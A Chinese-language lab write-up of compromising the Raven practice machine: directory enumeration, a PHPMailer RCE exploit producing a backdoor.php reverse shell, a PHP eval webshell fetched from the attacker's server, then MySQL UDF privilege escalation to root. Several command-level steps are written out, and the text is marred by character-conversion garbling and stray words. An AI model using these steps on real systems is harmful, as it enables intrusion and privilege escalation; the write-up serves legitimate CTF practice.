近几天比较闲,在上周也闲着无聊跑去盒子挖了一周的洞。这周又开始不知道干些啥了,因此就找个靶机来玩玩。php
搭建完环境后,发现并无登陆帐号和密码,使用御剑高速扫描,先扫描机器的ip和端口,看看有没有啥能利用到的。
html
发现了192.168.27.136 ip 而且80端口和22端口是开启的,首先先从80端口,尝试 来尝试扫描目录。
python
扫描目录时,发现了/vendor/目录而且有个wordpress 这时候就能够来尝试一下wp的漏洞了,直接上wpscan 来扫描,没有就放弃。mysql
链接超时!!! 果断放弃!!!linux
可是做为一个年轻小伙子怎么能说放弃,要坚持!!![手动狗头][手动狗头]web
翻找一下刚刚的目录看看还能不能找到啥东西,当我点开/vendor/目录的时候,发现存在一个目录遍历漏洞。
sql
点开readme.md 发现是个PHPMailershell
因为之前也没见过,上百度查了一下才知道是个发送电子邮件的函数包。数据库
去百度查找了一下 竟然有命令执行漏洞。bash
为了方便,直接就在kali里面的漏洞库去查找exp
searchsploit phpmailer
这里有好几个exp,可是也不能一个一个去试,利用条件不同,还得去查找的他版本。
在我开启vendor/version文件的时候,直接就显示了版本
肯定版本后就能够直接下载exp了,
searchsploit -m 40974.py
首先查看一下代码。
这里的garget 和socket的connect的ip须要修改还有须要修改的是email字典后面的路径,这个是写入地址的绝对路径。
那么咱们还须要查找他的绝对路径。
文件里面查找到了路径,并且拿下了一个flag。
这里并不打算去拿flag,而是直接拿权限[手动滑稽][手动滑稽]。
如今就能够开始来改咱们的exp了
这里把target改为了
http://192.168.27.136/contact.php
这个漏洞是基于contact.php的页面产生的漏洞,因此地址得带上这个页面。
在运行exp的时候,py爆了个错误,说个人编码有错误,我立马在头部加了一个utf-8的默认编码方式,可是依然不行,确定是这个工具启动提示的时候,输出了特殊字符因此才会这样,把它删掉就行了[手动滑稽][手动滑稽]。
这里直接就执行成功,咱们去访问contact.php就会生成一个backdoor.php,访问后能够直接反弹shell了
kali启动一个nc监听
nc -lvp 4444
访问backdoor.php 反弹成功
nc 模式的shell不支持su交互,使用py进入到伪终端
python -c "import pty;pty.spawn('/bin/bash')"
输入whoami发现,是个www的权限,权限比较低,还须要进行提权的操做,先来查看一下开放的端口
netstat -ano
发现他的3306端口是开放的,mysql 5.6如下的默认安装为system权限或者是root权限。这里尝试使用udf提权,先来翻找他的mysql密码,
通常网站须要对数据库进行查询操做的话都是须要链接数据库的,基本上都会去包含数据库的链接文件,而数据库链接文件通常命名为config.inc.php,config.php。
这里就来找一下,进入wordpress目录看到wp-config.php来查看一下。
翻找到了root帐号的密码为:
R@v3nSecurity
而后就能够尝试去udf提权,可是我这嫌nc比较麻烦,因此仍是写入一个一句话木马。
echo "<?php eval(@$_POST['a']); ?>" > 1.php
写入的时候发现post被过滤掉了,后来尝试get和requsts也是同样。
那么就直接换个思路,直接让他去请求远程的文件进行下载
放在服务器上面的时候,不能一脚本格式进行上传,否则脚本会直接运行,将他命名为cmd.txt文件,而后搭建临时web服务
php -S 0.0.0.0:88 -t /root
使用php启动web服务 设置根目录为root
请求文件
mv cmd.txt cmd.php
把文件更名为php后缀,而后使用蚁剑进行链接。
链接成功后,使用管理数据功能,进行mysql链接,查询mysql版本信息。
这里还有几个注意事项,在mysql 4.1版本前任何的dll文件的函数都能导入到mysql里面去让mysql调用,
mysql 4.1-5.0 版本中,对注册的dll位置作了限制,建立函数时候对应的dll不能包含斜杠或者反斜杠,
不能是绝对路径,因此会将dll导出到systm32目录下,去绕过这个限制。
在mysql5.1版本后,建立函数的dll只能放在mysql的plugin目录下,也就是插件目录
使用mysql语句来查看plugin目录位置
show variables like '%plugin%';
如今咱们还得下载一个linux版本的udf
searchsploit udf
searchsploit -m 1518.c
从漏洞库把udf下载下来后,是个c文件还得使用gcc进行编译后才能使用
gcc -g -c 1518.c
gcc -g -shared -o udf.so 1518.o -lc
编译完成后,使用wget远程下载
数据库建立表:
create table nice(line blob);
表中插入udf.so的数据
insert into nice values(load_file('/var/www/html/udf.so'));
插入完成后,再使用sql语句从nice表中导出数据到plugin目录下
select * from nice into dumpfile '/usr/lib/mysql/plugin/udf.so';
导出完成后,这里就能够直接建立一个函数,来进行执行命令了
create function do_system returns integer soname 'udf.so';
建立完成后能够查询是否建立成功
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
touch finn
finn -exec "/bin/sh" ;
whoami
提权成功。
cat flag4.txt
[手动狗头][手动狗头]flag真香
最近这感冒了,很难受,干啥都没精力,我想我仍是须要妹子来温暖个人心